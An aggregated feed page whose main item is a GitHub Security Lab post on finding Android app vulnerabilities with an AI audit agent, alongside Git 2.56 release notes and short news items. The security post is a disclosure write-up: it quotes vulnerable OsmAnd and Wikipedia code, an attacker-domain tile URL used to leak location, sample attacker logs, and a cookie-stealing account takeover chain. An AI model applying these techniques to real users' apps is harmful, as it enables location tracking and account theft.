Sr. Content Developer at Microsoft, working remotely in PA, TechBash conference organizer, former Microsoft MVP, Husband, Dad and Geek.
161911 stories
·
33 followers

Trump finalizes rule to make cars less fuel efficient

1 Share
President Donald Trump announces plans to weaken fuel efficiency and emissions rules for cars and trucks in the Oval Office at the White House in Washington, DC, on December 3rd, 2025. | Photo: Getty Images

The US Department of Transportation finalized its plans today to weaken fuel efficiency standards, calling it "among the largest deregulatory actions under the second Trump Administration."

It's a nail in the coffin for Biden-era standards that would have required fleet average fuel economy to reach 50.4 miles per gallon by model year 2031. President Donald Trump's plan requires 34.9 miles per gallon, not much higher than the 30.1-mile-per-gallon target previously set for model year 2024.

Consumer advocacy, health, and environmental groups are incensed

The Trump administration claims its plan would shave $1,300 off the average cost of a n …

Read the full story at The Verge.

Read the whole story
alvinashcraft
4 minutes ago
reply
Pennsylvania, USA
Share this story
Delete

How we found 24 Android vulnerabilities using our open source AI security agent

1 Share

With the rise of AI in the security space, our team created the GitHub Security Lab Taskflow Agent as a way for security researchers to easily automate, package, and share the AI prompts and workflows that they find effective for their work. In this blog post, I’ll share how I created auditing taskflows to find vulnerabilities in Android applications.

While new models are getting better at understanding code, custom taskflow prompts let security researchers guide them—splitting research into incremental steps to help the LLM find complex vulnerabilities faster, or that it would have missed entirely.

Using these taskflows, I’ve reported more than 20 vulnerabilities in Android applications. You can check out our advisories page to see when new vulnerabilities are disclosed. Otherwise, keep reading for a few concrete examples of high-impact vulnerabilities that these taskflows found.

How to run the taskflows on your own project

Want to get started right away? The taskflows are open source and easy to run yourself. Please note: A GitHub Copilot license is required, and the prompts will use premium model requests. Running the taskflows can result in many tool calls, which can easily consume a large amount of tokens.

  1. Go to the seclab-taskflows repository and start a codespace.
  2. Wait a few minutes for the codespace to initialize.
  3. In the terminal, run ./scripts/audit/run_mobile.sh myorg/myrepo

It might take an hour or two to finish on a medium-sized repository. When it finishes, it’ll open an SQLite viewer with the results. Open the “audit_results” table and look for rows with a checkmark in the “has_vulnerability” column.

Creating targeted audit taskflows for Android apps

My colleagues Peter and Mo previously wrote a blog post about their audit task flows. Although those taskflows already work well on their own, Android applications have their own specific classes of vulnerabilities that we’d like the taskflows to focus on, so we need to guide them.

First, I added a taskflow called gather_mobile_entry_point_info.yaml. Entry points are places in the code that attacker-controlled data could flow through. This taskflow takes the entry points and separates them into mobile entry points and non-mobile entry points. This allows the AI to run on repos that contain a variety of different application types—a mobile application, web servers, desktop applicationswhile still understanding the correct attack surface.

Second, I edited classify_application_local.yaml. In it, I specify a list of popular vulnerability classes and ask the LLM to consider them in the context of each entry point and component. Since mobile application vulnerabilities are less widely known and LLMs are non-deterministic, we should ensure the LLM checks for certain essential vulnerabilities classes. For example, if in the previous step the taskflow identified an intent-based entry point, then it should have a list of common intent-based vulnerabilities it will check for, such as confused deputy or insecure broadcasts. This helps the LLM find connections between components and maintain an overview of the threat model.

By combining both prompts across multiple runs, we get the best of each: the strict prompt and repeated runs ensure obvious vulnerabilities aren’t missed, while the broad prompt lets the AI apply its creativity to the fullest.

Two examples of vulnerabilities found by the taskflows

In this section, we’ll show two examples of vulnerabilities that were found by the taskflows and that have already been disclosed. In total, we have found and reported 24 vulnerabilities so far.

Tracking Users via OsmAnd

OsmAnd is a popular third-party navigation app that uses Open-Street-Map as its main data source. Available on both the App Store and Play Store, we will look at the Android version, which has over 10 million downloads. In this section, we will look at the most interesting of the three vulnerabilities that were discovered: a vulnerability that allows malicious apps to track the location of the device.

OsmAnd exports an activity called MapActivity. An Android activity is a single, focused screen in an app that provides a UI for the user to interact with. MapActivity handles opening settings files and deeplinks within the app and is exported. An exported activity is an activity that can be launched by components outside of its own app.

screenshot of an android.xml file

However, when opening settings files, the app allows for intent extras (settings_version, silent_import, replace, export_type_list_key). Intents are messaging objects in Android used to request an action from another app component, and intent extras are key-value pairs of data attached to an intent to pass information along with that request. MapActivity only expects these extras to come from an AIDL service. They should have been passed through an in-process channel instead of intent extras, because any app can put arbitrary extras on any intent to any exported activity. Android provides no mechanism to restrict which extras an external caller can set.

Because MapActivity is exported, any app can send an intent to the activity with any extras we want, including intent extras that can allow us to import settings to the app undetected. The Android app uses the handleOsmAndSettingsImport function to import the following settings:

  • SilentImport: allows importing without a notification
  • Replace: allows us to replace instead of just add settings
  • SettingsTypes: allows us to import without a user confirmation
private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) { 
    fileName = fileName.replace(ZIP_EXT, ""); 
    if (extras != null && CollectionUtils.containsAny(extras.keySet(), 
            SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) { 
        int version = extras.getInt(SETTINGS_VERSION_KEY, -1); 
        String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY); 
        boolean replace = extras.getBoolean(REPLACE_KEY);              // ← attacker-controlled 
        boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY);   // ← attacker-controlled 
        ArrayList<String> exportTypeKeys = 
            extras.getStringArrayList(EXPORT_TYPE_LIST_KEY);           // ← attacker-controlled 
        List<ExportType> exportTypes = null; 
        if (exportTypeKeys != null) { 
            exportTypes = ExportType.valuesOf(exportTypeKeys); 
        } 
        handleOsmAndSettingsImport(intentUri, fileName, exportTypes, 
            replace, silentImport, latestChanges, version); 
    } else { 
        handleOsmAndSettingsImport(intentUri, fileName, 
            null, false, false, null, -1);                             // safe defaults 
    } 
} 

Since we can now import any settings we want, we can make several critical changes. For example, we can replace tiles on the map. OsmAnd formats the URL for each tile in the following format:

return MessageFormat.format(urlTemplate, zoom + "", x + "", y + "");

By default, OsmAnd uses local tiles, however we can overwrite the default tile files with the following URL:

f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png",

Then, we can leak the exact x, y coordinates of every tile. The URL expects the response of that URL to contain an image for the tile so on the attacker server backend, we serve the according tile from OpenStreetMaps. The attacker has a list of the x, y coordinates of every tile the user had loaded on the OsmAnd app, and the user has no idea the settings of their app have been changed. This allows any app, even one with no permissions, to overwrite the settings of OsmAnd and send back private location data to their server.

# [TILE #1]  14:23:07  z=15 x=9649 y=12320 
#   ├── center: 40.70979, -73.98743 
#   └── 🗺️  https://www.openstreetmap.org/#map=15/40.70979/-73.98743

Using the same vulnerability, we can also obtain the origin and destination for every route a user takes on OsmAnd sent to our attacker server, without any change noticeable to the user.

[ROUTE #1] 07:02:47  vehicle=car  waypoints=2 
  ├── path: /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922 
  ├── 📍 ORIGIN:      37.421998, -122.084000 
  │      https://www.openstreetmap.org/#map=15/37.42200/-122.08400 
  ├── 🏁 DESTINATION: 37.999443, -122.324501 
  │      https://www.openstreetmap.org/#map=15/37.99944/-122.32450

Next, we’ll look at the Wikipedia Android app, which allows users to browse Wikipedia on their phones. To browse Wikipedia webpages within the app, the Wikipedia Android app registers a hook for the wikipedia:// deeplink to open the app. For example, a deeplink may look like wikipedia://wikipedia.org/wiki/PoC . However, a logic bug in the hostname parser allows us to load non-Wikipedia URLs.

    private fun handleIntent(intent: Intent) { 
        if (Intent.ACTION_VIEW == intent.action && intent.data != null) { 
            // TODO: handle special cases of non-article content, e.g. shared reading lists. 
            intent.data?.let { 
                if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) { 
                    // Pass it right along to PageActivity 
                    val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://")) 
                    startActivity(Intent(this, PageActivity::class.java) 
                            .setAction(Intent.ACTION_VIEW) 
                            .setData(uri)) 
                } 
            } 
        } 
    } 

This primitive allows us to direct the user to any website of our choosing using a wikipedia:// deeplink, and trick the user into thinking they are on the Wikipedia page, when they are, in fact, on an attacker-controlled page. Additionally, the attacker is able to run arbitrary JavaScript in the app’s WebView, a dangerous primitive that gives the attacker an entry point to environments that are normally considered safe. This vulnerability pattern occurs not once, but twice in the same app:

// SharedPreferenceCookieManager.kt:101 
if (domain.endsWith(domainSpec)) { 
    buildCookieList(cookieList, cookiesForDomainSpec, null) 
} 

This second snippet checks whether a page should contain cookies from wikipedia.org page. Using both issues, we can leak all the cookies from the Wikipedia page, which are long-lived.

Chaining these two vulnerabilities together, we get a powerful account takeover.

  1. The victim accesses a malicious webpage on their browser containing a deeplink and clicks on it.
  2. The Wikipedia Android app opens automatically and loads an attacker-controlled page that ends with wikipedia.org, such as evil-wikipedia.org. The victim thinks it’s a page on Wikipedia, and the app automatically sends the user’s cookies. The attacker now has access to the victim’s username, long-lived token, and session token valid across every Wikimedia project (all Wikipedias, Commons, Wikidata, Meta, etc.).

As these examples show, LLMs can find logic vulnerabilities with critical impact, not just generic bug classes.

LLMs are good at finding vulnerabilities but struggle at estimating severity

LLMs are good at finding vulnerabilities, even to the point of finding low severity bugs that are not very impactful. Many times, I found that the AI would return issues that required very specific states that would be almost impossible to find in real life situations. Additionally, it often reported low-severity vulnerabilities, even when specifically told not to do so. Because of this, each finding should be reviewed by a security researcher with knowledge of mobile applications.

Another problem we found was that the severity of vulnerabilities was often estimated incorrectly. The actual impact of a vulnerability often changes due to mitigating factors; that lower its severity.

Take for example a path traversal in an Android app where the filepath is restricted to the external storage; the relative severity of such an issue is low. Such mitigating factors are hard for the LLM to see without explicit prompting to “create a proof of concept,” requiring multiple runs not just for finding vulnerabilities, but also creating proof of concepts, which forces the LLM to try to exploit the vulnerability. Depending on the availability and speed of the model, this requires the model to use extra time on vulnerabilities that may not have very strong impact.

Even then, the LLM can still get things wrong. For example, if the app uses data from both internal and external storage, the internal storage data is often given priority. The LLM may assume that data from external storage—which we can write to via our path traversal—will change the application’s actual data. But if internal storage overwrites our attacker-controlled external data, there’s no vulnerability at all. Such complex behaviors lead to false positives, which will decrease as LLM models’ contexts grow bigger and their reasoning improves. But for now, the only way to fix these issue is to give the LLM a debugger to run the proof of concept and original code, or for a researcher to prompt the LLM to look specifically for these issues.

LLMs have great knowledge of API behavior

Any security researcher who specializes in a particular language knows the common code patterns: which functions are safe and which are unsafe. For example, using path.Clean in Go is much less safe than using filepath.Clean and is often the cause of many vulnerabilities that affect Windows versions of popular products. We were surprised to see how well the LLM was able to understand the behavior of common security relevant APIs in various languages, even without access to the language source code. Most proof of concepts that we ask the LLM to produce after giving it a vulnerability report required little modification on our end, demonstrating its deep knowledge of previous security exploits and API behavior.

Notes on the results

At the time of writing this blog, we found 24 Android vulnerabilities in mobile applications. In many cases, we found simple vulnerabilities in applications such as path traversal. We found a handful of critical vulnerabilities, some of which have been presented in this blog post. Since Android app security is quite strong, the types of vulnerabilities are exactly where a security researcher would expect to find them, such as cross app scripting in a WebView, or exposed JavaScript bridges.

Chart showing GHSLs and Average CVSS for 12 CWEs.

We believe that AI-powered security research is one of the best ways to secure open source projects currently, and its power can be used for web applications, mobile applications as well as desktop applications.

Closing

We strongly believe that security should be a top priority for all open source maintainers, and we know that AI will be an essential tool for all maintainers in the coming years, both for development and security. The seclab-taskflow-agent will help you get started with security in a couple minutes and is open to contributions for those who find interesting and unique prompts, tools and mechanisms for finding vulnerabilities with AI.

Start securing your project today. Run these taskflows against your own app and take the first step toward AI-assisted security!

The post How we found 24 Android vulnerabilities using our open source AI security agent appeared first on The GitHub Blog.

Read the whole story
alvinashcraft
5 minutes ago
reply
Pennsylvania, USA
Share this story
Delete

Hands-On With OpenAI's Mandatory Custom GPT-to-Plugin Migration (Deadline Coming)

1 Share
OpenAI is retiring Custom GPTs and replacing them with plugins built around reusable skills, reference files and connected tools. The shift also reaches developers through Codex, which now runs as an agent harness in VS Code, while some builders are pushing back over migration differences, sharing limits and whether plugins really match the Custom GPT experience.
Read the whole story
alvinashcraft
5 minutes ago
reply
Pennsylvania, USA
Share this story
Delete

Why model versioning is not enough for production AI

1 Share
An MLOps workflow for evaluating deploying and rolling back AI applications
Read the whole story
alvinashcraft
5 minutes ago
reply
Pennsylvania, USA
Share this story
Delete

Highlights from Git 2.56

1 Share

The open source Git project just released Git 2.56.0 with features and bug fixes from over 104 contributors, 39 of them new. We last caught up with you on the latest in Git back when 2.55 was released.

To celebrate this most recent release, here is GitHub’s look at some of the most interesting features and changes introduced since last time.

Stage resolved conflicts without staging everything else

Resolving a merge conflict has two distinct parts. First, you edit the working tree until each conflicted path contains the result you want. Then, you stage those paths to tell Git that the conflict is resolved.

Suppose a merge conflicts in recipe.txt, while notes.txt contains an unrelated local edit.

The second step sounds simple, but existing commands make it easy to stage more than you intended. git add -u updates every modified tracked path. During a merge, that may include local changes that are unrelated to the conflict. It can also stage a file that still contains conflict markers if you overlooked one.

Git 2.56 provides a safer workflow:

$ git add --resolved
fatal: the following paths still have conflict markers:
        recipe.txt

$ # Edit recipe.txt and remove the conflict markers.
$ git add --resolved
$ git status --short
 M notes.txt
M  recipe.txt

The new git add --resolved mode is designed specifically for this step. It considers only paths that are currently unmerged in the index. Before staging anything, it scans unmerged regular files for leftover conflict markers. If it finds one, it reports the affected paths and leaves the index unchanged.

The two columns in git status --short distinguish staged and unstaged changes. recipe.txt is staged as resolved, while the unrelated change to notes.txt remains unstaged.

You can also pass a pathspec to limit which unmerged paths are considered. The all-or-nothing marker check still applies within that selection: if any selected regular file contains conflict markers, Git stages none of them. Resolved deletions and binary conflicts do not have textual markers, so Git can stage them normally.

This is intentionally narrower than git add -u or git add -A. --resolved cannot be combined with either mode, and it ignores tracked files that were never conflicted. That makes it a useful safety rail for maintainer workflows where a merge may begin with unrelated local changes already present.

[source, discussion]

Stop searching history once no more merge bases can exist

Many Git operations need to find the best common ancestor(s) of two commits. Merges use them as the starting point for combining changes, while three-dot diffs use a best common ancestor to decide where a topic branch’s work begins. Repository hosts perform the same calculation for pull request diffs, mergeability checks, review ranges, and other comparisons.

Git finds these common ancestors by walking backward from both tips. Imagine painting commits reachable from one side blue and commits from the other side red. A commit reached by both colors is a merge-base candidate.

Finding one candidate is not necessarily enough. Criss-cross merges can produce multiple merge bases, none of which is an ancestor of another, so Git must keep walking until it knows that it has found all of them. But the old stopping rule could keep processing a long tail of stale, already-common history after another merge base had become impossible.

Git 2.56 tracks how many queued commits remain painted exclusively by each side. The implementation has additional guards around this rule, but at a high level once one exclusive side is exhausted, no new meeting point can appear. Git can stop while still returning every merge base.

An animation finds two merge bases before one paint side becomes empty. Git 2.56 then stops, while earlier Git continues walking a large already-common region even though no additional merge base can form.

The difference can be dramatic when old side branches have been merged into a much longer history. In one real monorepo case, the traversal fell from 0.68 seconds to 0.01 seconds. Production evaluations on two large monorepos found many cases around 70 times faster in one and an average improvement around 20 times in the other.

The final series also fixed a long-standing Linux-kernel performance case. With Git’s default v2 commit-graph, the command git merge-base --all v4.8 v4.9 fell from 167,441 traversal steps and 0.29 seconds to 3,887 steps and 0.01 seconds.

[source]

Make smaller path-walk repacks practical for servers

When Git repacks a repository, it searches for similar objects that can be stored efficiently as deltas. The traditional search groups candidates using a name hash. Path-walk repacking instead visits objects by their location in the tree, bringing versions of the same path together and often finding much better delta relationships.

The potential storage savings are substantial. In a benchmark using a recent clone of the Fluent UI repository and forcing Git to recompute deltas, an ordinary bitmapped repack produced a 558.5 MB pack. Repacking with --path-walk produced a 164.4 MB pack, about 71% smaller.

But repository hosts need more than small packs. They commonly use reachability bitmaps to answer object-enumeration queries quickly, and some use delta islands to prevent objects in one group of refs from depending on objects available only in another. Path-walk repacking was incompatible with both, limiting where its storage improvements could be deployed.

Git 2.56 removes those two restrictions. A path-walk repack can now select commits for a new bitmap. Later git pack-objects invocations can reuse an existing bitmap when it answers the request, falling back to the path walk only when necessary.

Path-walk also now performs the bookkeeping required by delta islands: propagating island membership through commits and trees before choosing delta bases. That lets hosts preserve their isolation rules while experimenting with path-walk’s smaller on-disk representation.

These changes do not enable path-walk repacking by default. Instead, they remove two important adoption blockers, making it possible for large repository hosts to evaluate the storage savings without giving up fast bitmap-assisted serving or delta-island constraints.

[source, source]

The tip of the iceberg…

Those are just a few of the changes in Git 2.56. Here are some other new
features and updates worth highlighting.

  • The experimental git history command continues to grow. Git 2.54 introduced it with reword and split, and Git 2.55 added fixup. Git 2.56 adds:

    $ git history drop <commit>

    The command removes the selected commit and replays its descendants onto the commit’s parent. If HEAD moves, Git updates the index and working tree while preserving unrelated local changes. It aborts if replaying a descendant would conflict or overwrite a local change. The command remains experimental, cannot operate on a history that contains merge commits, and cannot drop a root or merge commit.

    [source]
  • Reference-writing commands have historically been scattered across git update-ref, git symbolic-ref, and other plumbing. Git 2.56 continues consolidating low-level reference management under the git refs toolbox:

    $ git refs create refs/heads/topic <new-value>
    $ git refs update refs/heads/topic <new-value> [<old-value>]
    $ git refs delete refs/heads/topic [<old-value>]
    $ git refs rename refs/heads/old refs/heads/new

    Optional old values provide compare-and-swap protection for updates and deletion. These are deliberately low-level commands. In particular, git refs rename moves the ref and its reflog, but does not perform the branch configuration adjustments that git branch -m does.

    [source]
  • Cleaning up local topic branches after their work lands upstream can involve comparing each branch to its configured remote-tracking branch. Git 2.56 adds a bulk form:

    $ git branch --delete-merged 'origin/*' 'topic-*' --dry-run

    In this command, origin/* matches branches whose upstream is under origin, topic-* limits the candidates to local branch names beginning with topic-, and --dry-run lists what would be deleted without deleting anything.

    When run without --dry-run, Git deletes only branches whose tips are reachable from their matching upstreams. Branches checked out in a worktree, branches with missing upstreams, and several ambiguous push configurations are skipped. branch.<name>.deleteMerged = false can protect a branch from bulk cleanup.

    [source]
  • git bisect run is wonderfully effective at finding the commit that introduced a regression, but when it finishes it normally leaves you checked out at the culprit until you run git bisect reset. The new --reset-when-found[=<where>] option combines those steps. Its default is original, which returns to the commit checked out before the bisection began; found cleans up the bisection state but leaves the culprit checked out. The option is unavailable with --no-checkout.

    [source]
  • The experimental git replay command can now flatten merge topology with --linearize. Git replays the commits in a single line and drops merge commits, matching the topology produced by git rebase --no-rebase-merges, but without using the working tree. The option cannot be combined with --contained or with replaying multiple branches at once.

    [source]
  • Git can now recognize two easy command-line slips and suggest the intended form. Running git push origin/main advises using git push origin main, while git branch --set-upstream-to origin main suggests git branch --set-upstream-to=origin/main. Git checks that each correction is plausible before suggesting it, avoiding indiscriminate guesses.

    [source]
  • Partial clones omit selected objects initially, but blobs fetched on demand have traditionally remained stored locally forever. Git 2.56 can discard large, recoverable blobs and rely on the promisor remote again:

    $ git repack -a --filter=blob:limit=1m --drop-filtered --dry-run
    $ git repack -a --filter=blob:limit=1m --drop-filtered

    The dry run lists candidates; the real repack removes them locally so a later access fetches them again. This is a manual cleanup mechanism, not an automatically bounded cache, and currently supports only blob:limit filters. Git requires a promisor remote and refuses unsafe cases such as dropping an object referenced by the current index. The work was contributed as a GSoC project by Siddharth Shrimali, with Christian Couder and Siddharth Asthana recorded as mentors.

    [source, discussion]
  • git log --follow can now track a path more reliably through non-linear history. Previously, the command kept one global “current path.” If different parents renamed the path differently, whichever side happened to be visited first could determine what Git followed through the rest of the walk. Git 2.56 records the path separately for each parent, making the result independent of traversal order and fixing cases such as subtree merges.

    [source]
  • Graphs with multiple roots can place an unrelated commit directly below a root commit in the same column, making the two appear connected. Git 2.56 indents these "visual roots" when necessary:

      * root of one visible history
    * unrelated commit

    This is enabled by default for git log --graph. Use --no-graph-indent for the old rendering, or set log.graphIndent to choose a default.

    [source]
  • Several internal changes remove scaling cliffs from otherwise ordinary operations. Reftable writes now avoid redundant reloads after taking the lock, making filesystem-stat calls constant rather than linear in the number of refs. Loading known-new packfiles no longer scans the existing list before every insertion, eliminating an O(N²) regression that made a prompt-related command take 4.5 seconds in a repository with 37,815 packs.

    Other changes removed quadratic scans from tombstone-heavy reftables and path-limited working-tree diffs, while making untracked-file collection robustly O(n log n) instead of relying on already-sorted input. The reftable tombstone performance tests fell from about 13 seconds to 0.2 seconds. On a Chromium checkout with roughly 500,000 index entries, one affected git diff improved from about eight minutes to 0.07 seconds.

    [source, source, source, source, source]

…the rest of the iceberg

That’s just a sample of changes from the latest release. For more, check out the release notes for 2.56, or any previous version in the Git repository.

The post Highlights from Git 2.56 appeared first on The GitHub Blog.

Read the whole story
alvinashcraft
5 minutes ago
reply
Pennsylvania, USA
Share this story
Delete

Is Your “Human-in-the-Loop” Actually Slowing You Down? Here’s What We Learned

1 Share
Read the whole story
alvinashcraft
5 minutes ago
reply
Pennsylvania, USA
Share this story
Delete
Next Page of Stories